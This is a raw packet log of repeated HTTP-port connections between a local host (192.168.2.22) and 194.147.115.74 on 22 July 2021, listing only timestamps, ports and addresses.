Jul 22, 2021 16:11:45.212450981 CEST	80	49247	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.212654114 CEST	49247	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.432915926 CEST	49247	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.434859037 CEST	49248	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.486357927 CEST	80	49247	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.486453056 CEST	49247	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.487039089 CEST	80	49248	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.489794970 CEST	49248	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.490674019 CEST	49248	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.543689966 CEST	80	49248	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.650993109 CEST	80	49248	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.652566910 CEST	49248	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.868350029 CEST	49249	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.868400097 CEST	49248	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.923854113 CEST	80	49249	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.923892021 CEST	80	49248	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:45.924041986 CEST	49249	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.924112082 CEST	49248	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.925512075 CEST	49249	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:45.977514982 CEST	80	49249	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.091377020 CEST	80	49249	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.091535091 CEST	49249	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.321886063 CEST	49249	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.322290897 CEST	49250	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.373918056 CEST	80	49249	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.374114037 CEST	49249	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.374241114 CEST	80	49250	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.374358892 CEST	49250	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.375261068 CEST	49250	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.427383900 CEST	80	49250	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.543394089 CEST	80	49250	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.543564081 CEST	49250	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.768429041 CEST	49250	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.769742012 CEST	49251	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.822027922 CEST	80	49250	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.822061062 CEST	80	49251	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.822385073 CEST	49250	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.822439909 CEST	49251	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.829147100 CEST	49251	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:46.881820917 CEST	80	49251	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.996254921 CEST	80	49251	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:46.996483088 CEST	49251	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.221858025 CEST	49251	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.223551035 CEST	49252	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.274311066 CEST	80	49251	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.274550915 CEST	49251	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.275490046 CEST	80	49252	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.275571108 CEST	49252	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.276248932 CEST	49252	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.328233004 CEST	80	49252	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.444124937 CEST	80	49252	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.444226027 CEST	49252	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.662636042 CEST	49252	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.663958073 CEST	49253	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.714816093 CEST	80	49252	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.715034008 CEST	49252	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.717317104 CEST	80	49253	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.717406988 CEST	49253	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.718240023 CEST	49253	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:47.772571087 CEST	80	49253	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.875224113 CEST	80	49253	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:47.875540018 CEST	49253	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.095268965 CEST	49253	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.095335960 CEST	49254	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.147701979 CEST	80	49254	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.147749901 CEST	80	49253	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.147856951 CEST	49253	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.148096085 CEST	49254	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.149163961 CEST	49254	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.206835032 CEST	80	49254	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.315056086 CEST	80	49254	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.317090034 CEST	49254	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.532665014 CEST	49254	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.534118891 CEST	49255	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.584806919 CEST	80	49254	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.584980011 CEST	49254	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.586277962 CEST	80	49255	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.586369038 CEST	49255	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.587294102 CEST	49255	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.639616966 CEST	80	49255	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.743767977 CEST	80	49255	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:48.743832111 CEST	49255	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.976519108 CEST	49255	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:48.977945089 CEST	49256	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.029212952 CEST	80	49255	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.029365063 CEST	49255	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.029989004 CEST	80	49256	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.030076027 CEST	49256	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.030864954 CEST	49256	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.082998037 CEST	80	49256	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.186918974 CEST	80	49256	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.187150955 CEST	49256	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.404829025 CEST	49256	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.405874014 CEST	49257	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.457106113 CEST	80	49256	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.457307100 CEST	49256	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.457886934 CEST	80	49257	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.457978010 CEST	49257	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.458745956 CEST	49257	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.510795116 CEST	80	49257	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.625276089 CEST	80	49257	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.625509024 CEST	49257	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.842180014 CEST	49257	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.843585014 CEST	49258	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.898920059 CEST	80	49257	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.898951054 CEST	80	49258	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:49.899072886 CEST	49257	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.899139881 CEST	49258	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.899928093 CEST	49258	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:49.952238083 CEST	80	49258	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.072293997 CEST	80	49258	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.073182106 CEST	49258	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.305356026 CEST	49258	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.306756973 CEST	49259	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.361262083 CEST	80	49259	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.361279964 CEST	80	49258	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.361396074 CEST	49258	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.362227917 CEST	49259	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.362248898 CEST	49259	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.417138100 CEST	80	49259	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.531900883 CEST	80	49259	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.531987906 CEST	49259	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.748130083 CEST	49259	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.748145103 CEST	49260	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.800713062 CEST	80	49260	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.800745010 CEST	80	49259	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.800806999 CEST	49260	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.800847054 CEST	49259	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.801610947 CEST	49260	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:50.853858948 CEST	80	49260	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.971095085 CEST	80	49260	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:50.973464966 CEST	49260	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.221781969 CEST	49260	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.222867966 CEST	49261	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.274169922 CEST	80	49260	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.275346994 CEST	49260	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.276207924 CEST	80	49261	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.276313066 CEST	49261	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.277574062 CEST	49261	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.329822063 CEST	80	49261	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.433959007 CEST	80	49261	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.434108973 CEST	49261	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.654303074 CEST	49261	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.655469894 CEST	49262	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.706862926 CEST	80	49261	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.707870007 CEST	80	49262	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.712553024 CEST	49261	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.712620020 CEST	49262	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.715058088 CEST	49262	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:51.767215967 CEST	80	49262	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.870856047 CEST	80	49262	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:51.871078014 CEST	49262	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.089890957 CEST	49262	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.091459990 CEST	49263	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.142282009 CEST	80	49262	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.142472029 CEST	49262	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.143712044 CEST	80	49263	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.143850088 CEST	49263	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.144679070 CEST	49263	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.196917057 CEST	80	49263	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.313642025 CEST	80	49263	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.313868046 CEST	49263	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.542030096 CEST	49263	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.543369055 CEST	49264	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.596477032 CEST	80	49263	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.596504927 CEST	80	49264	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.596586943 CEST	49263	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.596688986 CEST	49264	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.598970890 CEST	49264	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.651228905 CEST	80	49264	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.765852928 CEST	80	49264	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:52.766871929 CEST	49264	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.997509003 CEST	49264	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:52.998960018 CEST	49265	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.053772926 CEST	80	49264	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.054389954 CEST	49264	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.056126118 CEST	80	49265	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.056267977 CEST	49265	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.057029009 CEST	49265	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.112946033 CEST	80	49265	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.214713097 CEST	80	49265	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.214834929 CEST	49265	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.430599928 CEST	49265	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.433094978 CEST	49266	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.482969046 CEST	80	49265	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.483154058 CEST	49265	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.485337973 CEST	80	49266	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.485512018 CEST	49266	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.486310005 CEST	49266	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.538820028 CEST	80	49266	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.658466101 CEST	80	49266	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.670372963 CEST	49266	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.883014917 CEST	49266	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.885148048 CEST	49267	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.936187029 CEST	80	49266	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.936808109 CEST	49266	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.938203096 CEST	80	49267	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:53.938349009 CEST	49267	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.939415932 CEST	49267	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:53.991746902 CEST	80	49267	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.094969988 CEST	80	49267	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.097455025 CEST	49267	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.329005957 CEST	49268	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.329966068 CEST	49267	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.384413004 CEST	80	49268	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.384974003 CEST	80	49267	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.388803959 CEST	49267	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.388925076 CEST	49268	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.388947964 CEST	49268	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.442580938 CEST	80	49268	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.559727907 CEST	80	49268	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.560636997 CEST	49268	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.789750099 CEST	49268	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.790402889 CEST	49269	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.843632936 CEST	80	49268	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.843667984 CEST	80	49269	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:54.844476938 CEST	49268	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.844504118 CEST	49269	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.844944954 CEST	49269	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:54.902487040 CEST	80	49269	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.013587952 CEST	80	49269	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.013679981 CEST	49269	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.240994930 CEST	49270	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.241344929 CEST	49269	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.293332100 CEST	80	49270	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.294666052 CEST	49270	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.294926882 CEST	80	49269	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.295556068 CEST	49270	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.296020985 CEST	49269	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.347867012 CEST	80	49270	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.465261936 CEST	80	49270	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.465501070 CEST	49270	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.703989029 CEST	49270	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.705074072 CEST	49271	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.756381989 CEST	80	49270	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.756539106 CEST	49270	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.757123947 CEST	80	49271	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.757220984 CEST	49271	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.757966042 CEST	49271	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:55.810049057 CEST	80	49271	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.931896925 CEST	80	49271	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:55.932002068 CEST	49271	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.144670963 CEST	49271	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.149018049 CEST	49272	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.196949005 CEST	80	49271	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.197139025 CEST	49271	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.204443932 CEST	80	49272	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.204811096 CEST	49272	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.205395937 CEST	49272	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.259372950 CEST	80	49272	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.361907959 CEST	80	49272	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.362051010 CEST	49272	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.581307888 CEST	49272	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.582449913 CEST	49273	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.633749008 CEST	80	49272	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.633832932 CEST	49272	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.634470940 CEST	80	49273	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.634555101 CEST	49273	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.635381937 CEST	49273	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:56.687604904 CEST	80	49273	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.791811943 CEST	80	49273	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:56.791989088 CEST	49273	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.043766022 CEST	49273	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.045516968 CEST	49274	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.096796989 CEST	80	49273	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.096900940 CEST	49273	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.100574970 CEST	80	49274	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.101362944 CEST	49274	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.102598906 CEST	49274	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.154793978 CEST	80	49274	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.259892941 CEST	80	49274	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.260021925 CEST	49274	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.485569000 CEST	49274	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.486598969 CEST	49275	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.539858103 CEST	80	49274	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.539889097 CEST	80	49275	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.539938927 CEST	49274	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.539978981 CEST	49275	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.540949106 CEST	49275	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.593065023 CEST	80	49275	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.710549116 CEST	80	49275	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.710736990 CEST	49275	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.923501015 CEST	49275	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.924894094 CEST	49276	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.975785017 CEST	80	49275	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.976572990 CEST	49275	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.976855993 CEST	80	49276	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:57.976963043 CEST	49276	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:57.977777958 CEST	49276	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.029879093 CEST	80	49276	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.146398067 CEST	80	49276	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.146580935 CEST	49276	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.363979101 CEST	49276	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.364849091 CEST	49277	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.417741060 CEST	80	49276	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.417912960 CEST	49276	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.418138027 CEST	80	49277	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.418258905 CEST	49277	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.418962955 CEST	49277	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.474817991 CEST	80	49277	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.575879097 CEST	80	49277	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.576117992 CEST	49277	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.798254967 CEST	49278	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.798258066 CEST	49277	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.850828886 CEST	80	49278	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.851068020 CEST	49278	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.852272987 CEST	80	49277	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:58.852397919 CEST	49278	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.852504015 CEST	49277	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:58.905234098 CEST	80	49278	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:59.010420084 CEST	80	49278	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:59.010502100 CEST	49278	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:59.234128952 CEST	49278	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:59.253042936 CEST	49279	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:59.286637068 CEST	80	49278	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:59.286727905 CEST	49278	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:59.312850952 CEST	80	49279	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:59.313721895 CEST	49279	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:59.314548969 CEST	49279	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:59.368060112 CEST	80	49279	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:00.484059095 CEST	80	49279	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:00.484366894 CEST	49279	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:00.721729040 CEST	49279	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:00.724134922 CEST	49280	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:00.774229050 CEST	80	49279	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:00.774322987 CEST	49279	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:00.776899099 CEST	80	49280	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:00.777033091 CEST	49280	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:00.777880907 CEST	49280	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:00.830265045 CEST	80	49280	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:00.946420908 CEST	80	49280	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:00.946705103 CEST	49280	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.169734001 CEST	49280	80	192.168.2.22	194.147.115.74
